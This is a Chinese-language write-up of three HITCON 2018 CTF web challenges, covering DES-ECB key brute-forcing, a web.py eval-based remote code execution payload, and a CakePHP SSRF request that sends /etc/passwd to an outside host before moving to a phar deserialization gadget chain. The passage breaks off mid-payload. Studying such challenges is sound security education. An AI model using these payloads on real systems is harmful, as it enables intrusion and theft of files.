Hitcon 2018 Web 题解

Oh My Raddit

题目一开始直接告诉我们 flag 的格式:

Flag is hitcon{ENCRYPTION_KEY}

再结合题目所给的 提示assert ENCRYPTION_KEY.islower(),我们可以明白本题的考点:猜测本题使用的加密算法,并破解其使用的密钥。

继续来看题目,可以看到题目中的所有链接均不是直接指向网站自身的 URL,而是向服务器进行请求:

<a href="?s=8c762b8f22036dbbdda56facf732ffa71c3a372e4530241246449a55e25888cf98164f49a25f54a84ea0640e3adaf107cc67c8f2e688e8adf18895d89bfae58e33ae2e67609b509afb0e52f2f8b2145e">50 million Facebook accounts owned</a>

但当我们访问 http://13.115.255.46/?s=8c762b8f22036dbbdda56facf732ffa71c3a372e4530241246449a55e25888cf98164f49a25f54a84ea0640e3adaf107cc67c8f2e688e8adf18895d89bfae58e33ae2e67609b509afb0e52f2f8b2145e 时,浏览器却访问了 https://newsroom.fb.com/news/2018/09/security-update/ 所以在这里必然存在着服务器上的一个处理操作。

通过查看 burp 拦截的 Response,可以看到服务器实际上返回的是一个 303 See Other,再由浏览器跳转到指定的 URL。

HTTP/1.1 303 See Other
Date: Mon, 22 Oct 2018 07:24:06 GMT
Server: localhost
Content-Type: text/html
Location: https://newsroom.fb.com/news/2018/09/security-update/
Connection: close
Content-Length: 0

那么我们可以这样假设,8c762b8f22036dbbdda56facf732ffa71c3a372e4530241246449a55e25888cf98164f49a25f54a84ea0640e3adaf107cc67c8f2e688e8adf18895d89bfae58e33ae2e67609b509afb0e52f2f8b2145e 实际上是对应网页的数据在某种加密过后得到的十六进制字符串,我们可以通过二者之间的明密文关系来推测使用的加密算法和密钥。

继续来看,我们可以发现修改请求参数中的部分字节(前 48 个字节之后)不影响我们得到的结果,比如访问 http://13.115.255.46/?s=a2be4d31c8cbf83fc7be364caf7dae82b50a6fb6362320e888208fded4e2d881716d81db5701860df8c8c72896dc5bc30000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074a3bfe5 ,同样能获得正确的结果。

Date →Mon, 22 Oct 2018 07:33:53 GMT
Server →localhost
Content-Type →text/html
Location →https://medium.com/@Wflki/sql-injection-oracle-and-full-width-characters-13bb86fc034a
Keep-Alive →timeout=5, max=100
Connection →Keep-Alive
Transfer-Encoding →chunked

所以可以猜测,明文的前半部分应该是每个网页所对应的 id,服务器会根据 id 返回对应的网址,所以该部分的修改会影响结果的显示,而后半部分的结果不影响结果的显示,则可能对应网页的 title,因为我们注意到 title 长度不同的网页对应的密文长度也不同,而且二者成正相关。

我们继续观察 title 和密文的关系,可以观察到存在着相同字符子串的 title 中的密文中也存在部分相同的子串,如

<a href="?s=4b596c43212b27b7c948390491293dd24f6f5f3b635ddb984c1c23f162d392ccf900061d8b6338771d8feb029243ed633882b1034e8789849136472bd93ffe2dfd8017786de53c1785a67bbbcecad1c78b096aa66c3ff957aaa3bb913d35c75f">Bypassing Web Cache Poisoning Countermeasures</a>

<a href="?s=b0b7a350f4a4f27848b204d056b25fb0f785e6357390b3bc73bbbbffc6bf5071b47143690fe718f21d8feb029243ed633882b1034e878984233b2d964a4138bbfe4bcb8834342001d2446e0f6d464355833f3b6c39beee1bfd5d3bce98966870">Bypassing WAFs and cracking XOR with Hackvertor</a>

title 存在着相同的子字符串 Bypassing W,而密文则存在着相同的子字符串 1d8feb029243ed633882b1034e878984,结合上文的猜测,可以看出 assing W3882b1034e878984 对应。

可以注意到密文块很明显的以 8 bytes 为一组,且各组间相互独立,后续块的加密不受前面块的影响

所以结合以上的分析,可以有以下两个推测:

  1. 本题使用的 DES 加密,且使用的是 ECB 模式
  2. 密钥长度为 8,且均为小写字母

所以我们能得到对应明密文对 3882b1034e878984:617373696e672b57 (题目使用了 + 代替空格,被坑了很久。。另外感谢评论区的师傅帮我纠正了这里的一个错误 orz)

为了加深理解,我们可以看上面这张对比图,可以看到,第一条的左右两个字符串,共同的子字符串为 Bypassing W,加密后的文本存在两个 8 字节的共同子串;第三条左右两个字符串共同字串为 Bypassing,对应处的共同子字符串仅为 1 个,所以很明显 W 是对应块的最后一个字母,然后可以从 W 开始倒着读 8 个字符,所以得到 assing W

看了大佬们的解答,发现他们用的是另一个明密文对:3ca92540eb2d0a42:0808080808080808,即 DES padding 的字符和对应的密文。

然后我们可以写脚本进行爆破,由于脚本写的太慢就不往上贴了-_-^ 10min 单线程完全爆不动

后来看了 orange 大佬的解答才知道可以使用 hashcat 爆破,速度快多了(哭泣

.\hashcat64.exe -m 14000 42aa7c80bae5f78f:6e6a656374696f6e -a 3 '?l?l?l?l?l?l?l?l' --show
42aa7c80bae5f78f:6e6a656374696f6e:ldgonaro

直接提交发现 flag 错误,这是因为由于 DES 只使用了 64 bits 中的 56 bits 做校验,所以实际上每个字符存在着另一个等效的字符,由等效字符替换后的密钥依旧是有效的。所以我们可以爆破所有可能的 key 并提交(当然太粗暴了)。另一个思路是根据题目的提示 P.S. If you fail in submitting the flag and want to argue with author, read the source first! 去获得题目的源代码。

我们观察到题目中实际上应该存在着三种链接,如

  1. 06e77f2958b65ffd3ca92540eb2d0a42,解密后的明文是 m=p&l=100
  2. 59154ed9ef5129d081160c5f9882f57dcfd76f05f6ac8f1a38114a30fb1839a27fea88c412d9e1149dedcb1c01c0a6662a36d91fd8751e52ba939a65efbe150f9504247abb9fe6be24d3d4dcfda82306,解密后的明文是 u=f90b0983-23fc-42ae-a333-019b6593da75&m=r&t=An+Innovative+Phishing+Style
  3. 2e7e305f2da018a2cf8208fa1fefc238522c932a276554e5f8085ba33f9600b301c3c95652a912b0342653ddcdc4703e5975bd2ff6cc8a133ca92540eb2d0a42,解密后的明文是 m=d&f=uploads%2F70c97cc1-079f-4d01-8798-f36925ec1fd7.pdf

很明显第三种链接能让我们下载对应的文件,因此我们构造 m=d&f=app.py 对应的密文 e2272b36277c708bc21066647bc214b8,成功获得源代码:

# coding: UTF-8
import os
import web
import urllib
import urlparse
from Crypto.Cipher import DES

web.config.debug = False
ENCRPYTION_KEY = 'megnnaro'


urls = (
    '/', 'index'
)
app = web.application(urls, globals())
db = web.database(dbn='sqlite', db='db.db')


def encrypt(s):
    length = DES.block_size - (len(s) % DES.block_size)
    s = s + chr(length)*length

    cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
    return cipher.encrypt(s).encode('hex')

def decrypt(s):
    try:
        data = s.decode('hex')
        cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)

        data = cipher.decrypt(data)
        data = data[:-ord(data[-1])]
        return dict(urlparse.parse_qsl(data))
    except Exception as e:
        print e.message
        return {}

def get_posts(limit=None):
    records = []
    for i in db.select('posts', limit=limit, order='ups desc'):
        tmp = {
            'm': 'r', 
            't': i.title.encode('utf-8', 'ignore'), 
            'u': i.id, 
        } 
        tmp['param'] = encrypt(urllib.urlencode(tmp))
        tmp['ups'] = i.ups
        if i.file:
            tmp['file'] = encrypt(urllib.urlencode({'m': 'd', 'f': i.file}))
        else:
            tmp['file'] = ''

        records.append( tmp )
    return records

def get_urls():
    urls = []
    for i in [10, 100, 1000]:
        data = {
            'm': 'p', 
            'l': i
        }
        urls.append( encrypt(urllib.urlencode(data)) )
    return urls

class index:
    def GET(self):
        s = web.input().get('s')
        if not s:
            return web.template.frender('templates/index.html')(get_posts(), get_urls())
        else:
            s = decrypt(s)
            method = s.get('m', '')
            if method and method not in list('rdp'):
                return 'param error'
            if method == 'r':
                uid = s.get('u')
                record = db.select('posts', where='id=$id', vars={'id': uid}).first()
                if record:
                    raise web.seeother(record.url)
                else:
                    return 'not found'
            elif method == 'd':
                file = s.get('f')
                if not os.path.exists(file):
                    return 'not found'
                name = os.path.basename(file)
                web.header('Content-Disposition', 'attachment; filename=%s' % name)
                web.header('Content-Type', 'application/pdf')
                with open(file, 'rb') as fp:
                    data = fp.read()
                return data
            elif method == 'p':
                limit = s.get('l')
                return web.template.frender('templates/index.html')(get_posts(limit), get_urls())
            else:
                return web.template.frender('templates/index.html')(get_posts(), get_urls())


if __name__ == "__main__":
    app.run()

所以 flag 为 hitcon{megnnaro}

Oh My Raddit v2

首先看第二题的提示 Give me SHELL!!!,很明显考点是 getshell,所以第一步是代码审计。

可以看到使用的是 web.py 框架,然后根据获得的 requirements.txt 可以得到版本为 0.38。

然后再看代码,题目只处理 GET 请求,然后根据 ?s= 后跟的参数的不同,有三种不同的处理方式:

  1. r: 根据网页的 id 获得 url 并构造 303 响应
  2. d:根据文件名读取文件
  3. p:根据参数获得渲染首页

第一步想到的思路是直接构造 {'m':'d','f':'/flag'} 来阅读 flag 文件,发现被禁止了(毕竟本题考点是 getshell),那么下一步还是需要思考如何 getshell。

可以搜到相应的文章:Remote Code Execution in Web.py framework(ps:其实比赛的时候根本没搜到,看了 orange 的说明才找到的,还是太菜了

问题出在 web.py 的 db 部分,可能让用户注入代码,存在问题的代码如下:

def reparam(string_, dictionary):
    """
    Takes a string and a dictionary and interpolates the string
    using values from the dictionary. Returns an `SQLQuery` for the result.

        >>> reparam("s = $s", dict(s=True))
        <sql: "s = 't'">
        >>> reparam("s IN $s", dict(s=[1, 2]))
        <sql: 's IN (1, 2)'>
    """
    dictionary = dictionary.copy() # eval mucks with it
    vals = []
    result = []
    for live, chunk in _interpolate(string_):
        if live:
            v = eval(chunk, dictionary)
            result.append(sqlquote(v))
        else:
            result.append(chunk)
    return SQLQuery.join(result, '')

这个 eval 函数真的时非常明显了……根据作者描述:The entry points to reparam() are functions _where(), query(), and gen_clause(),那么对应到本题中的则是 get_posts 函数中的 db.select 操作,尝试构造:{'m':'p','l':'$__import__("os").system("ls > /tmp/ls.txt")'},发现显示 invalid。

那么继续看文章,发现在该版本已经修复了这种写法,然后用文章中提到的新的方式成功绕过并执行代码:

{'m':'p','l':'${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=="catch_warnings"][0]()._module.__builtins__):getthem["__import__"]("os").system("ls -al / > /tmp/1.txt"))()}'}

这里需要注意的由于我们不能直接看到回显,所以需要把需要显示的数据写到文件中,通过构造 {'m':'d','f':'/tmp/1.txt'} 来下载我们写入的文件。

total 104
drwxr-xr-x  23 root root  4096 Oct 16 08:18 .
drwxr-xr-x  23 root root  4096 Oct 16 08:18 ..
drwxr-xr-x   2 root root  4096 Sep 12 15:59 bin
drwxr-xr-x   3 root root  4096 Oct 10 06:46 boot
drwxr-xr-x  15 root root  2980 Oct  8 18:13 dev
drwxr-xr-x  91 root root  4096 Oct 11 16:05 etc
-r--------   1 root root    47 Oct 16 08:15 flag
drwxr-xr-x   4 root root  4096 Oct 11 16:02 home
lrwxrwxrwx   1 root root    31 Oct 10 06:46 initrd.img -> boot/initrd.img-4.15.0-1023-aws
lrwxrwxrwx   1 root root    31 Sep 12 16:16 initrd.img.old -> boot/initrd.img-4.15.0-1021-aws
drwxr-xr-x  20 root root  4096 Oct 11 15:27 lib
drwxr-xr-x   2 root root  4096 Sep 12 15:56 lib64
drwx------   2 root root 16384 Sep 12 16:10 lost+found
drwxr-xr-x   2 root root  4096 Sep 12 15:55 media
drwxr-xr-x   2 root root  4096 Sep 12 15:55 mnt
drwxr-xr-x   2 root root  4096 Sep 12 15:55 opt
dr-xr-xr-x 127 root root     0 Oct  8 18:13 proc
-rwsr-sr-x   1 root root  8568 Oct 16 08:18 read_flag
drwx------   4 root root  4096 Oct 16 08:18 root
drwxr-xr-x  26 root root  1000 Oct 22 06:21 run
drwxr-xr-x   2 root root  4096 Oct 10 06:46 sbin
drwxr-xr-x   5 root root  4096 Oct  8 18:13 snap
drwxr-xr-x   2 root root  4096 Sep 12 15:55 srv
dr-xr-xr-x  13 root root     0 Oct 16 08:18 sys
drwxrwxrwt  12 root root  4096 Oct 22 09:33 tmp
drwxr-xr-x  10 root root  4096 Sep 12 15:55 usr
drwxr-xr-x  14 root root  4096 Oct 11 15:58 var
lrwxrwxrwx   1 root root    28 Oct 10 06:46 vmlinuz -> boot/vmlinuz-4.15.0-1023-aws
lrwxrwxrwx   1 root root    28 Sep 12 16:16 vmlinuz.old -> boot/vmlinuz-4.15.0-1021-aws

根据我们列出的根目录,很明显只要执行 read_flag 就能读到 flag,所以继续构造:

# exec
{'m':'p','l':'${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=="catch_warnings"][0]()._module.__builtins__):getthem["__import__"]("os").system("/read_flag / > /tmp/1.txt"))()}'}
# read flag
{'m':'d','f':'/tmp/1.txt'}

即可获得 flag:hitcon{Fr0m_SQL_Injecti0n_t0_Shell_1s_C00L!!!}

BabyCake

赛后学习的一道题目,代码审计的能力还是太弱了(。_。)参考了 PDKT-Team 的 writeup,该解答讲的非常清晰,值得一看。

题目直接给了本题源码: http://13.230.134.135/webroot/baby_cake.tgz

访问题目所给的 demo 页面,可以看到和正常的页面相比,多了 <!-- from cache -->,可以由此来定位源代码:src/ControllerPagesController.php:

<?php

namespace App\Controller;
use Cake\Core\Configure;
use Cake\Http\Client;
use Cake\Http\Exception\ForbiddenException;
use Cake\Http\Exception\NotFoundException;
use Cake\View\Exception\MissingTemplateException;

class DymmyResponse {
    function __construct($headers, $body) {
        $this->headers = $headers;
        $this->body = $body;
    }
}

class PagesController extends AppController {

    private function httpclient($method, $url, $headers, $data) {
        $options = [
            'headers' => $headers, 
            'timeout' => 10
        ];

        $http = new Client();
        return $http->$method($url, $data, $options);
    }

    private function back() {
        return $this->render('pages');
    }

    private function _cache_dir($key){
        $ip = $this->request->getEnv('REMOTE_ADDR');
        $index = sprintf('mycache/%s/%s/', $ip, $key);
        return CACHE . $index;
    }

    private function cache_set($key, $response) {
        $cache_dir = $this->_cache_dir($key);
        if ( !file_exists($cache_dir) ) {
            mkdir($cache_dir, 0700, true);
            file_put_contents($cache_dir . "body.cache", $response->body);
            file_put_contents($cache_dir . "headers.cache", serialize($response->headers));
        }
    }

    private function cache_get($key) {
        $cache_dir = $this->_cache_dir($key);
        if (file_exists($cache_dir)) {
            $body   = file_get_contents($cache_dir . "/body.cache");
            $headers = file_get_contents($cache_dir . "/headers.cache");

            $body = "<!-- from cache -->\n" . $body;
            $headers = unserialize($headers);
            return new DymmyResponse($headers, $body);
        } else {
            return null;
        }
    }

    public function display(...$path) {    
        $request  = $this->request;
        $data = $request->getQuery('data');
        $url  = $request->getQuery('url');
        if (strlen($url) == 0) 
            return $this->back();

        $scheme = strtolower( parse_url($url, PHP_URL_SCHEME) );
        if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https']))
            return $this->back();

        $method = strtolower( $request->getMethod() );
        if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )
            return $this->back();


        $headers = [];
        foreach ($request->getHeaders() as $key => $value) {
            if (in_array( strtolower($key), ['host', 'connection', 'expect', 'content-length'] ))
                continue;
            if (count($value) == 0)
                continue;

            $headers[$key] = $value[0];
        }

        $key = md5($url);
        if ($method == 'get') {
            $response = $this->cache_get($key);
            if (!$response) {
                $response = $this->httpclient($method, $url, $headers, null);
                $this->cache_set($key, $response);                
            }
        } else {
            $response = $this->httpclient($method, $url, $headers, $data);
        }

        foreach ($response->headers as $key => $value) {
            if (strtolower($key) == 'content-type') {
                $this->response->type(array('type' => $value));
                $this->response->type('type');
                continue;
            }
            $this->response->withHeader($key, $value);
        }

        $this->response->body($response->body);
        return $this->response;
    }
}

简单梳理题目的处理逻辑:

首先题目只支持 http \ https 两种协议, 和 get \ post \ put \ delete \ patch 等五种方法。

继续看 display 函数,$data = $request->getQuery('data');$url = $request->getQuery('url'); 从 querystring 中获得了需要访问的 url,已经需要传递的 data。随后该函数会根据方法的不同尝试不同的调用:

if ($method == 'get') {
    $response = $this->cache_get($key);
    if (!$response) {
        $response = $this->httpclient($method, $url, $headers, null);
        $this->cache_set($key, $response);                
    }
} else {
    $response = $this->httpclient($method, $url, $headers, $data);
}

如果调用的方法是 get,函数先会尝试调用 $this->cache_get($key);,可以看到我们在之前注意到的注释就是在这里添加的: $body = "<!-- from cache -->\n" . $body; 。该函数还有一个需要注意的点是一个反序列化的操作: unserialize($headers);,一般反序列化的操作在 CTF 题目中都是相当重要的考点,本题也不例外,虽然考察的点不在此处。

然后如果 response 为空的话,说明缓存不存在,程序会调用自身的 http clinet 去请求相应内容 $this->httpclient($method, $url, $headers, null);,然后将相应的 response 缓存 $this->cache_set($key, $response);。这里需要注意的是,cache_set 函数中会将相应的 header 序列化保存 file_put_contents($cache_dir . "headers.cache", serialize($response->headers));

如果调用的方法是 post 等其他方法的话,程序会直接调用自身的 http clinet 去请求相应内容。

然后向下看 cakephp 中对应 http client 的源码 vendor/cakephp/cakephp/src/Http/Client.php

可以看到源码中对一个请求的调用顺序如下:

  1. 首先调用 post($url, $data = [], array $options = [])
  2. 然后该函数会继续调用 _doRequest($method, $url, $data, $options)
  3. 紧接着该函数会通过 $this->_createRequest($method, $url, $data, $options); 构造 $request 对象

然后继续定位到 vendor/cakephp/cakephp/src/Http/Client/Request.php,可以看到构造函数会对我们传入的 data 做处理:

public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null)
{
    $this->validateMethod($method);
    $this->method = $method;
    $this->uri = $this->createUri($url);
    $headers += [
        'Connection' => 'close',
        'User-Agent' => 'CakePHP'
    ];
    $this->addHeaders($headers);
    $this->body($data);
}
...
public function body($body = null)
{
    if ($body === null) {
        $body = $this->getBody();

        return $body ? $body->__toString() : '';
    }
    if (is_array($body)) {
        $formData = new FormData();
        $formData->addMany($body);
        $this->header('Content-Type', $formData->contentType());
        $body = (string)$formData;
    }
    $stream = new Stream('php://memory', 'rw');
    $stream->write($body);
    $this->stream = $stream;

    return $this;
}

我们可以看到,如果我们传入的 data 是数组类型的话,会调用 vendor/cakephp/cakephp/src/Http/Client/FormData.php 中定义的 addMany 函数,addMany 会逐次调用 add 函数,问题就出在 add 处,我们继续看源码:

public function add($name, $value = null)
{
    if (is_array($value)) {
        $this->addRecursive($name, $value);
    } elseif (is_resource($value)) {
        $this->addFile($name, $value);
    } elseif (is_string($value) && strlen($value) && $value[0] === '@') {
        trigger_error(
            'Using the @ syntax for file uploads is not safe and is deprecated. ' .
            'Instead you should use file handles.',
            E_USER_DEPRECATED
        );
        $this->addFile($name, $value);
    } elseif ($name instanceof FormDataPart && $value === null) {
        $this->_hasComplexPart = true;
        $this->_parts[] = $name;
    } else {
        $this->_parts[] = $this->newPart($name, $value);
    }

    return $this;
}

可以看到如果开头第一个字符是 @ 的话,cakephp 会调用 addFile 函数,而很明显 addFile 可以访问本地的文件:

public function addFile($name, $value)
{
    $this->_hasFile = true;

    $filename = false;
    $contentType = 'application/octet-stream';
    if (is_resource($value)) {
        $content = stream_get_contents($value);
        if (stream_is_local($value)) {
            $finfo = new finfo(FILEINFO_MIME);
            $metadata = stream_get_meta_data($value);
            $contentType = $finfo->file($metadata['uri']);
            $filename = basename($metadata['uri']);
        }
    } else {
        $finfo = new finfo(FILEINFO_MIME);
        $value = substr($value, 1);
        $filename = basename($value);
        $content = file_get_contents($value);
        $contentType = $finfo->file($value);
    }
    $part = $this->newPart($name, $content);
    $part->type($contentType);
    if ($filename) {
        $part->filename($filename);
    }
    $this->add($part);

    return $part;
}

可以看到这里我们可以控制 file_get_contents 的参数,参数是我们传入的 ?data 所对应的值,所以这里存在着一个 SSRF,但最终考点不在这里。可起码我们确实可以控制 Server 去访问指定的 url,如:

POST http://13.230.134.135/?url=http://5ax2cw.ceye.io/&data[test]=@file:///etc/passwd 可以在 post data 处看到我们希望读取的文件:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
orange:x:1001:1001:,,,:/home/orange:/bin/bash

然后就是今年非常火的 phar:// 协议的反序列化问题,我们可以通过该协议触发反序列化操作进而 getshell。大致思路如下:

  1. 构造相应的 payload
  2. 将相应的 payload 放入某个 phar 文件中,并放到我们的服务器上
  3. 通过题目提供的功能访问我们服务器上的 phar 文件,此时相应文件被写入缓存中,具体路径为 /var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/xxz.phar)/body.cache
  4. 通过 post 请求 phar:// 协议的反序列化进而触发我们的 payload

如何构造可以使用 https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/1/gadgets.php 进行构造,这里贴上 PDKT-Team 所使用的 payload:

<?php

namespace Monolog\Handler
{
    class SyslogUdpHandler
    {
        protected $socket;
        function __construct($x)
        {
            $this->socket = $x;
        }
    }
    class BufferHandler
    {
        protected $handler;
        protected $bufferSize = -1;
        protected $buffer;
        # ($record['level'] < $this->level) == false
        protected $level = null;
        protected $initialized = true;
        # ($this->bufferLimit > 0 && $
        

Hacking more

...